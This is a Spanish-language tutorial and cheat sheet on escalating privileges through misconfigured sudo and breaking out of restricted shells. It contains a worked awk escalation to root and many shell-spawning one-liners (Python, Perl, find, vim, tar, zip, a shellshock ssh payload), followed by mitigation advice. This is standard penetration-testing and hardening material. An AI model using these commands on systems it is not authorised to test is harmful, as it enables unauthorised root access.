Escalado con sudo / Ejecutar una shell en entornos restringidos / enjaulados (Shell spawning)
Dependiendo de como se haya configurado sudo, es posible ejecutar comandos que nos pueden permitir obtener una shell de root. El mismo mecanismo se puede utilizar para intentar obtener una terminal con privilegios en terminales restringidas o entornos enjaulados. Estos son algunos programas que facilitan poder arrancar una shell.
Ejemplo de escalda de privilegios usando awk.
user1@vagrant:~$ sudo -l # Configuración sudo del usuario user1.
Matching Defaults entries for user1 on vagrant.vm:
env_reset, exempt_group=sudo, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User user1 may run the following commands on vagrant.vm:
(ALL : ALL) /usr/bin/awk
user1@vagrant:~$ id # UIDs del usuario user1.
uid=1001(user1) gid=1002(user1) groups=1002(user1)
user1@vagrant:~$ sudo awk 'BEGIN {system("/bin/sh")}' # Escalada de privilegios.
user1@vagrant:~# id
uid=0(root) gid=0(root) groups=0(root) # Usuario root.
Aplicaciones que pueden facilitar escalada de privilegios
Python.
python -c 'import pty; pty.spawn("/bin/sh")'
python -c 'import os; os.system("/bin/bash")'
python
>>> import os
>>> os.system("/bin/bash")'
Awk. awk 'BEGIN {system("/bin/sh")}'
Find. find /home/user/.cmake/ -name packages -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;
find /home/user/.cmake/ -name packages -exec /bin/sh \;
Perl (linea de comandos). perl -e 'exec "/bin/bash";'
Perl (dentro de un script / modo interactivo). exec "/bin/sh";
Ruby (linea de comandos). ruby -e "system '/bin/sh'"
ruby -e "exec '/bin/sh'"
Ruby (dentro de un script / modo interactivo). exec "/bin/sh"
system "/bin/sh"
Lua (linea de comandos). lua -e "os.execute('/bin/sh')"
Lua (dentro de un script / modo interactivo). os.execute('/bin/sh')
exceptexcept spawn
gdbgdb
(gdb)!/bin/bash
MySQLmysql> \! /bin/bash
Vi / VIM:!bash
:set shell=/bin/bash
:shell
Picopico -s "/bin/bash"
Escribir /bin/bash y pulsar Ctrl+t.
Gitgit help status > !/bin/bash
more / less / man / nmap (versiones antiguas con opción %%–&&interactive)!sh
sshssh user@XX -t "/bin/sh"
ssh user@XX -t "bash --noprofile"
ssh user@XX -t "() { :; }; /bin/bash" (shellshock)
zipzip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
tartar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash
También te puede interesar:pydictor: crea un diccionario de claves fácilmente para crackear contraseñas
Explorar el entorno en shells muy restrictivas
Buscar procesos enjaulados: buscar_procesos_corriendo_en_jaulas_chroot
Conocer el entorno donde se está enjaulado.
Buscar ficheros ejecutables, con permisos de lectura, escritura, etc.
Conocer el entorno donde se está enjaulado.
echo $SHELL
sudo -s
printenv
env
find / -perm -4000 -exec ls -ldb {} \; # Buscar comandos con SUID.
Listar ficheros. (Alternativa a dir, ls,…) echo *
Ver contenido de un fichero (Alternativa a cat, less, more,…) while read line; do echo "$line"; done < file.txt
Contar las lineas de un determinado fichero. (Alternativa a wc) grep -c -i ".*" /etc/passwd
i=0; while read line; do i=$(($i+1)); done < ./file.txt; echo $i
Conocer la identidad del usuario en uso. i=0; while read line; do i=$(($i+1)); done < ./file.txt; echo $i
echo $UID
NOTA: echo y los nombres de variables pueden dar información de interés. El comando “env” muestra un buen listado de variables disponibles. Buscar ficheros ejecutables, con permisos de lectura, escritura, etc.
# Ficheros con permisos de lectura.
for x in `echo /sbin/*`; do if [ -r $x ]; then echo $x; fi; done
# Ficheros con permisos de escritura "-w", de ejecución: "-x",...
# Leer: http://tldp.org/LDP/abs/html/fto.html
Mitigación de escalado con sudo / SUID
La correcta mitigación del abuso de sudo requiere una gestión cuidadosa de los usuarios de sudo y sus permisos. Los administradores deben asegurarse de que sus usuarios sudo utilicen contraseñas robustas.
Los administradores deben seleccionar programas que no alberguen la posibilidad de usar parámetros que permitan la ejecución de código arbitrario. Por ejemplo el uso de nano en lugar de Vi.
Si un usuario necesita acceso de lectura a archivos confidenciales, lo mejor sería agregarlo a grupos específicos que tengan permisos para leer el archivo y no otorgarle derechos de sudo.
Identificar con find los binarios con SUID activo y estudiar si algunos de ellos es explotable.
Considerar el uso de particiones con la opción nosuid.
Los administradores deben seleccionar programas que no alberguen la posibilidad de usar parámetros que permitan la ejecución de código arbitrario. Por ejemplo el uso de nano en lugar de Vi.
Si un usuario necesita acceso de lectura a archivos confidenciales, lo mejor sería agregarlo a grupos específicos que tengan permisos para leer el archivo y no otorgarle derechos de sudo.
Identificar con find los binarios con SUID activo y estudiar si algunos de ellos es explotable.
Considerar el uso de particiones con la opción nosuid.
Fuente: https://www.busindre.com/
Compartir...